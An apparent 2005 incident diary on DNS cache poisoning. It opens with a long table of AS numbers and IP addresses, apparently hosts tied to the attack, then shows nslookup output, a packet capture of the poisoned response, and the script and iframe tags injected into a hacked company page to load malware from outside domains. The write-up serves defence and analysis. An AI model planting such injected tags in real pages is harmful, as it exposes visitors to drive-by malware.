6939 | 64.62.141.215 | HURRICANE - Hurricane Electric

6939 | 64.62.141.216 | HURRICANE - Hurricane Electric

6939 | 64.62.141.217 | HURRICANE - Hurricane Electric

6939 | 64.62.171.130 | HURRICANE - Hurricane Electric

6939 | 64.62.171.172 | HURRICANE - Hurricane Electric

6939 | 64.62.171.191 | HURRICANE - Hurricane Electric

6939 | 64.62.171.191 | HURRICANE - Hurricane Electric

6939 | 64.62.171.192 | HURRICANE - Hurricane Electric

6939 | 64.62.171.221 | HURRICANE - Hurricane Electric

6939 | 64.62.171.222 | HURRICANE - Hurricane Electric

6939 | 64.62.253.89 | HURRICANE - Hurricane Electric

6939 | 64.62.253.90 | HURRICANE - Hurricane Electric

6939 | 64.62.253.92 | HURRICANE - Hurricane Electric

6939 | 64.71.133.121 | HURRICANE - Hurricane Electric

6939 | 64.71.165.139 | HURRICANE - Hurricane Electric

6939 | 64.71.176.36 | HURRICANE - Hurricane Electric

6939 | 64.71.176.37 | HURRICANE - Hurricane Electric

6939 | 64.71.176.38 | HURRICANE - Hurricane Electric

6939 | 64.71.176.39 | HURRICANE - Hurricane Electric

6939 | 64.71.176.40 | HURRICANE - Hurricane Electric

6939 | 64.71.176.42 | HURRICANE - Hurricane Electric

6939 | 64.71.176.43 | HURRICANE - Hurricane Electric

6939 | 64.71.176.44 | HURRICANE - Hurricane Electric

6939 | 64.71.176.45 | HURRICANE - Hurricane Electric

7796 | 64.27.3.209 | ATMLINK - ATMLINK

8342 | 217.107.216.124 | RTCOMM-AS RTComm.RU Autonomous

8342 | 217.107.216.21 | RTCOMM-AS RTComm.RU Autonomous

8402 | 83.102.241.66 | CORBINA-AS Corbina telecom

8551 | 192.114.144.12 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.222 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.222 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.223 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.224 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.226 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.227 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.228 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.229 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.235 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.236 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 212.25.72.245 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.162 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.163 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.164 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.165 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.166 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.167 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.168 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.169 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.180 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.205 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.207 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.227 | BEZEQ-INTERNATIONAL-AS Bezeqin

8551 | 82.80.252.229 | BEZEQ-INTERNATIONAL-AS Bezeqin

8560 | 212.227.63.159 | SCHLUND-AS Schlund + Partner A

8560 | 217.160.240.218 | SCHLUND-AS Schlund + Partner A

9318 | 219.254.32.94 | HANARO-AS HANARO Telecom

9318 | 221.143.42.136 | HANARO-AS HANARO Telecom

9318 | 221.143.42.137 | HANARO-AS HANARO Telecom

9318 | 221.143.42.137 | HANARO-AS HANARO Telecom

9318 | 221.143.42.138 | HANARO-AS HANARO Telecom

9318 | 221.143.42.138 | HANARO-AS HANARO Telecom

9318 | 221.143.42.139 | HANARO-AS HANARO Telecom

9318 | 221.143.42.28 | HANARO-AS HANARO Telecom

9318 | 221.143.42.29 | HANARO-AS HANARO Telecom

9318 | 221.143.42.30 | HANARO-AS HANARO Telecom

9318 | 221.143.42.32 | HANARO-AS HANARO Telecom

9318 | 222.233.52.21 | HANARO-AS HANARO Telecom

10297 | 206.222.17.26 | COLUMBUSNAP - The Columbus Net

10297 | 206.222.17.2 | COLUMBUSNAP - The Columbus Net

10297 | 209.190.106.10 | COLUMBUSNAP - The Columbus Net

10316 | 216.55.132.25 | ABACUS-NET-AS - Abacus America

10439 | 209.126.209.136 | CARI - California Regional Int

10796 | 24.223.136.250 | SCRR-10796 - Road Runner

10843 | 66.219.106.58 | AITNET - Advanced Internet Tec

11305 | 216.122.144.116 | INTERLAND-NET1 - Interland Inc

11305 | 216.122.144.138 | INTERLAND-NET1 - Interland Inc

11388 | 209.25.160.112 | MAXIM - Interland

11388 | 209.25.161.242 | MAXIM - Interland

11388 | 216.65.116.137 | MAXIM - Interland

11388 | 66.40.35.47 | MAXIM - Interland

13601 | 64.239.5.140 | ASN-INNERHOST - Interland

13601 | 66.132.177.71 | ASN-INNERHOST - Interland

13601 | 66.132.177.71 | ASN-INNERHOST - Interland

13601 | 66.132.186.241 | ASN-INNERHOST - Interland

13601 | 66.132.189.119 | ASN-INNERHOST - Interland

13601 | 66.132.189.124 | ASN-INNERHOST - Interland

13601 | 66.132.189.127 | ASN-INNERHOST - Interland

13768 | 64.34.161.70 | PEER1 - Peer 1 Network Inc.

13768 | 69.90.156.133 | PEER1 - Peer 1 Network Inc.

14361 | 66.235.180.50 | HOPONE-DCA - HopOne Internet C

14361 | 66.235.181.53 | HOPONE-DCA - HopOne Internet C

14361 | 66.36.228.195 | HOPONE-DCA - HopOne Internet C

14361 | 66.36.228.233 | HOPONE-DCA - HopOne Internet C

14361 | 66.36.240.73 | HOPONE-DCA - HopOne Internet C

14361 | 66.36.243.119 | HOPONE-DCA - HopOne Internet C

14361 | 66.36.243.191 | HOPONE-DCA - HopOne Internet C

14492 | 209.18.104.130 | DATAPIPE - DataPipe

14501 | 66.34.62.74 | CIHOST - C I Host

14576 | 199.237.51.106 | VIPIS-NET - Dialtone USA Inc.

14576 | 199.237.51.109 | VIPIS-NET - Dialtone USA Inc.

15395 | 83.138.134.19 | UK Rackspace

15395 | 83.138.134.20 | UK Rackspace

15395 | 83.138.134.21 | UK Rackspace

15395 | 83.138.134.22 | UK Rackspace

16557 | 72.21.10.122 | RE-STAFFORD - R. E. Stafford I

16557 | 72.21.10.154 | RE-STAFFORD - R. E. Stafford I

16557 | 72.21.10.74 | RE-STAFFORD - R. E. Stafford I

17444 | 203.98.177.84 | NWT-AS-AP AS number for New Wo

18866 | 69.50.196.18 | ATJEU - Atjeu Publishing LLC

19742 | 204.9.186.252 | MARLIN - Marlin eSourcing Solu

19742 | 204.9.191.84 | MARLIN - Marlin eSourcing Solu

19742 | 204.9.191.85 | MARLIN - Marlin eSourcing Solu

19742 | 204.9.191.86 | MARLIN - Marlin eSourcing Solu

20071 | 204.11.166.227 | ALH - SYSTEMS SOLUTIONS INC

20071 | 204.11.166.234 | ALH - SYSTEMS SOLUTIONS INC

20071 | 204.11.166.235 | ALH - SYSTEMS SOLUTIONS INC

20071 | 204.11.166.251 | ALH - SYSTEMS SOLUTIONS INC

20071 | 204.11.166.252 | ALH - SYSTEMS SOLUTIONS INC

20597 | 81.222.248.2 | ELTEL-AS ELTEL.net Autonomous

20597 | 81.222.248.39 | ELTEL-AS ELTEL.net Autonomous

20597 | 81.222.248.3 | ELTEL-AS ELTEL.net Autonomous

20597 | 81.222.248.40 | ELTEL-AS ELTEL.net Autonomous

20773 | 80.237.210.38 | HOSTEUROPE-AS AS of Hosteurope

20773 | 80.237.210.48 | HOSTEUROPE-AS AS of Hosteurope

20854 | 80.71.72.140 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.141 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.142 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.16 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.17 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.18 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.19 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.20 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.21 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.22 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.23 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.24 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.90 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.91 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.92 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.93 | MEGAPROVIDER Mega Provider B.V

20854 | 80.71.72.93 | MEGAPROVIDER Mega Provider B.V

21698 | 66.45.231.178 | NEBRIX-CA - Nebrix Communicati

21698 | 66.45.234.106 | NEBRIX-CA - Nebrix Communicati

21698 | 66.45.252.66 | NEBRIX-CA - Nebrix Communicati

21840 | 207.150.162.101 | SAGONET-TPA - Sago Networks

21840 | 207.150.162.110 | SAGONET-TPA - Sago Networks

21840 | 207.150.162.50 | SAGONET-TPA - Sago Networks

21840 | 207.150.162.80 | SAGONET-TPA - Sago Networks

21840 | 207.150.162.90 | SAGONET-TPA - Sago Networks

21840 | 207.150.163.101 | SAGONET-TPA - Sago Networks

21840 | 207.150.168.140 | SAGONET-TPA - Sago Networks

21840 | 207.150.173.5 | SAGONET-TPA - Sago Networks

21840 | 207.150.173.6 | SAGONET-TPA - Sago Networks

21840 | 63.246.129.30 | SAGONET-TPA - Sago Networks

21840 | 63.246.132.110 | SAGONET-TPA - Sago Networks

21840 | 63.246.132.70 | SAGONET-TPA - Sago Networks

21840 | 63.246.136.44 | SAGONET-TPA - Sago Networks

21840 | 63.246.150.26 | SAGONET-TPA - Sago Networks

21840 | 63.246.150.28 | SAGONET-TPA - Sago Networks

21840 | 63.246.154.78 | SAGONET-TPA - Sago Networks

21840 | 65.110.35.20 | SAGONET-TPA - Sago Networks

21840 | 65.110.35.30 | SAGONET-TPA - Sago Networks

21840 | 65.110.35.50 | SAGONET-TPA - Sago Networks

21840 | 65.110.50.100 | SAGONET-TPA - Sago Networks

21840 | 65.110.50.188 | SAGONET-TPA - Sago Networks

21840 | 65.110.51.20 | SAGONET-TPA - Sago Networks

21840 | 65.110.56.10 | SAGONET-TPA - Sago Networks

21840 | 65.110.59.120 | SAGONET-TPA - Sago Networks

21840 | 65.110.60.190 | SAGONET-TPA - Sago Networks

21840 | 66.111.41.160 | SAGONET-TPA - Sago Networks

21840 | 66.111.42.60 | SAGONET-TPA - Sago Networks

21840 | 66.111.43.20 | SAGONET-TPA - Sago Networks

21840 | 66.111.61.150 | SAGONET-TPA - Sago Networks

21840 | 66.118.142.56 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.32 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.40 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.42 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.44 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.46 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.50 | SAGONET-TPA - Sago Networks

21840 | 66.118.176.88 | SAGONET-TPA - Sago Networks

21840 | 66.118.180.37 | SAGONET-TPA - Sago Networks

25653 | 65.98.59.66 | PEGASUS - Pegasus Web Technolo

25897 | 66.135.40.44 | SERVERBEACH - ServerBeach

26458 | 66.28.209.158 | CENTRALHOST - Central Host

26458 | 66.28.209.66 | CENTRALHOST - Central Host

26458 | 66.28.209.69 | CENTRALHOST - Central Host

26458 | 66.28.209.75 | CENTRALHOST - Central Host

26458 | 66.28.209.81 | CENTRALHOST - Central Host

26458 | 66.28.209.82 | CENTRALHOST - Central Host

26496 | 216.69.161.138 | PAH-INC - Go Daddy Software, I

26496 | 216.69.162.47 | PAH-INC - Go Daddy Software, I

26496 | 216.69.162.52 | PAH-INC - Go Daddy Software, I

26496 | 216.69.164.159 | PAH-INC - Go Daddy Software, I

26496 | 216.69.164.160 | PAH-INC - Go Daddy Software, I

26496 | 216.69.164.164 | PAH-INC - Go Daddy Software, I

26608 | 200.73.174.130 | SkyOnline do Brasil Ltda

26608 | 200.73.174.187 | SkyOnline do Brasil Ltda

26608 | 200.73.174.189 | SkyOnline do Brasil Ltda

27257 | 69.42.78.108 | WEBAIR-INTERNET - Webair Inter

27257 | 69.42.78.109 | WEBAIR-INTERNET - Webair Inter

27257 | 69.42.81.132 | WEBAIR-INTERNET - Webair Inter

27257 | 69.42.81.133 | WEBAIR-INTERNET - Webair Inter

27257 | 69.42.81.173 | WEBAIR-INTERNET - Webair Inter

27276 | 207.71.126.55 | ASN-LOUDPACKET - LoudPacket In

27595 | 69.50.166.67 | ATRIVO-AS - Atrivo

27595 | 69.50.177.210 | ATRIVO-AS - Atrivo

27645 | 205.209.128.195 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.137.100 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.139.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.140.61 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.141.180 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.141.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.141.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.143.30 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.147.210 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.150.10 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.150.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.156.210 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.156.215 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.156.40 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.30 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.45 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.50 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.55 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.158.65 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.162.70 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.169.10 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.169.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.170.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.171.170 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.171.170 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.171.220 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.172.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.173.20 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.175.20 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.178.233 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.179.30 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.184.130 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.184.240 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.184.90 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.185.245 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.185.70 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.105 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.115 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.125 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.55 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.65 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.186.75 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.100 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.110 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.120 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.130 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.140 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.150 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.160 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.170 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.30 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.50 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 205.209.188.90 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.130.130 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.130.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.135.50 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.135.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.139.20 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.140.40 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.141.120 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.149.60 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.151.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.152.235 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.155.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.155.200 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.156.110 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.156.140 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.156.170 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.157.200 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.157.230 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.160.70 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.162.230 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.163.180 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.163.40 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.165.210 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.169.120 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.173.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.180.50 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.184.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.184.200 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.184.210 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.184.220 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.185.130 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.188.20 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.188.230 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.190.20 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.191.210 | ASN-NA-MSG-01 - Managed Soluti

27645 | 65.75.191.220 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.162.180 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.163.50 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.166.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.166.90 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.168.160 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.170.150 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.176.70 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.183.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.183.70 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.184.190 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.184.80 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.189.220 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.189.40 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.190.220 | ASN-NA-MSG-01 - Managed Soluti

27645 | 66.79.191.30 | ASN-NA-MSG-01 - Managed Soluti

28700 | 217.20.209.106 | INFORMTELECOM-AS Informtelecom

28700 | 217.20.209.150 | INFORMTELECOM-AS Informtelecom

28700 | 217.20.215.1 | INFORMTELECOM-AS Informtelecom

29791 | 69.9.188.170 | VOXEL-DOT-NET - Voxel Dot Net,

29802 | 206.51.229.2 | HVC-AS - HIVELOCITY VENTURES C

30058 | 208.53.131.115 | FDCSERVERS - FDCservers.net LL

30099 | 69.44.156.138 | SB-2 - ServerBeach

30340 | 66.165.232.67 | AS-LLIX - Liberty Lake Interne

30380 | 66.235.201.108 | IPOWER - iPowerWeb, Inc.

30857 | 82.114.48.16 | TAURUS-AS Taurus Telecom PJSC

30857 | 82.114.48.19 | TAURUS-AS Taurus Telecom PJSC

30857 | 82.114.48.40 | TAURUS-AS Taurus Telecom PJSC

30857 | 82.114.48.53 | TAURUS-AS Taurus Telecom PJSC

30857 | 82.114.48.54 | TAURUS-AS Taurus Telecom PJSC

30857 | 82.114.48.55 | TAURUS-AS Taurus Telecom PJSC

31216 | 195.49.141.14 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.21 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.22 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.23 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.37 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.38 | BSOCOM BSO Communication Netwo

31216 | 195.49.141.39 | BSOCOM BSO Communication Netwo

32244 | 209.59.136.157 | LIQUID-WEB-INC - Liquid Web

32244 | 67.43.10.115 | LIQUID-WEB-INC - Liquid Web

32748 | 205.138.193.222 | STEADFAST - NoZone, Inc.

33104 | 66.117.6.101 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.109 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.112 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.113 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.115 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.97 | FUZION-COLO - FUZION COLO

33104 | 66.117.6.98 | FUZION-COLO - FUZION COLO

33314 | 205.209.160.160 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.160.40 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.160.50 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.100 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.110 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.120 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.130 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.140 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.150 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.160 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.170 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.180 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.190 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.200 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.30 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.40 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.59 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.60 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.70 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.80 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.161.90 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.162.20 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.162.40 | ASN-AKANOC-SJC-01 - AKANOC Sol

33314 | 205.209.162.50 | ASN-AKANOC-SJC-01 - AKANOC Sol

33407 | 207.244.59.11 | WEBPR-2-ASN - Web Presence, In

33407 | 207.244.59.13 | WEBPR-2-ASN - Web Presence, In

33407 | 207.244.59.14 | WEBPR-2-ASN - Web Presence, In

33407 | 207.244.59.3 | WEBPR-2-ASN - Web Presence, In

34217 | 217.198.176.10 | ALFATEL-AS Alfatelcom JSC RU
Published: 2005-04-10

DNS cache poisoning, again.


Illustrating a particular DNS cache poisoning incident.



Preparation:



Upgrade BIND to the 9 series.

Select the 'Prevent DNS pollution' option in Microsoft DNS.

Have IDS in place and monitor your DNS.


Identification:



31 March 2005.



A user types in www.intelliview.com and two browser windows popped up.
The correct web site briefly appeared, and then disappeared.
www.intelliview.com is a valid commercial software
development company who's web server was obviously modified
by someone not authorized to do so. Probably hacked.


Here is a code snippet found at the bottom of their web
page at the time:



-head--title-404 Not Found-/title--/head--body--script language="JavaScript" src="http://vparivalka.org/G7/anticheatsys.php?id=36381" type="text/JavaScript"--/script--h1-Not Found-/h1-The requested URL was not found on this server.-p-
-/body--/html--iframe src="http://www.web-search.la/" width=700 height=570--/iframe-



The two apparent browser windows that popped up were showing:


http:// find-it.web-search.la /
and

http:// www.lycos.la /



On top of that the anti-virus on the workstation was going
berserk. There had been numerous attempts to install malware
by one or more of the web servers that the workstation had been
redirected to. At this point it appeared as though the system
may have been already infected or the web browser had been hijacked.
The user closed all browser windows and tried the same web site
again. The correct web site did not appear at all, one of the two
invalid web sites would appear every time the user tried to
connect. The user had wanted to download their demo version.



nslookup on the Windows 2000 Workstation showed the following
results when queried:


C:\Documents and Settings\user>nslookup intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: intelliview.com

Address: 63.215.142.7



C:\Documents and Settings\user>nslookup www.intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: www.intelliview.com

Addresses: 205.162.201.11, 217.16.26.148



The DNS server was running Windows 2000, fully patched, with cache pollution
protection turned on. When the cache was flushed everything went back
to normal.



C:\Documents and Settings\cyber>nslookup www.intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: www.intelliview.com

Address: 63.215.142.7



C:\Documents and Settings\cyber>nslookup intelliview.com

Server: black

Address: 10.0.0.1




Non-authoritative answer:

Name: intelliview.com

Address: 63.215.142.7




The next step was to clear the DNS cache again, and set up
a tcpdump listener to capture all DNS traffic between the
DNS server and the Internet.


Here is the culprit packet where the DNS cache poisoning
actually occurred:


Frame 92 (150 bytes on wire, 150 bytes captured)
Arrival Time: Mar 31, 2005 13:20:25.881726000
Time delta from previous packet: 0.000024000 seconds
Time since reference or first frame: 125.702602000 seconds
Frame Number: 92
Packet Length: 150 bytes
Capture Length: 150 bytes
Ethernet II, Src: 00:02:a5:64:e9:9b, Dst: 00:04:5a:73:d7:a6
Destination: 00:04:5a:73:d7:a6 (LinksysG_73:d7:a6)
Source: 00:02:a5:64:e9:9b (CompaqCo_64:e9:9b)
Type: IP (0x0800)
Internet Protocol, Src Addr: 172.16.1.1 (172.16.1.1), Dst Addr: 172.16.1.254 (172.16.1.254)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 136
Identification: 0x0000 (0)
Flags: 0x04 (Don't Fragment)
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: UDP (0x11)
Header checksum: 0xdf45 (correct)
Source: 172.16.1.1 (172.16.1.1)
Destination: 172.16.1.254 (172.16.1.254)
User Datagram Protocol, Src Port: domain (53), Dst Port: 30596 (30596)
Source port: domain (53)
Destination port: 30596 (30596)
Length: 116
Checksum: 0xc3a5 (correct)
Domain Name System (response)
Transaction ID: 0x13aa
Flags: 0x8180 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .0.. .... .... = Authoritative: Server is not an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 1... .... = Recursion available: Server can do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 2
Authority RRs: 2
Additional RRs: 0
Queries
www.abx4.com: type A, class inet
Name: www.abx4.com
Type: Host address
Class: inet
Answers
www.abx4.com: type A, class inet, addr 205.162.201.11
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 205.162.201.11
www.abx4.com: type A, class inet, addr 217.16.26.148
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 217.16.26.148
Authoritative nameservers
abx4.com: type NS, class inet, ns ns1.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
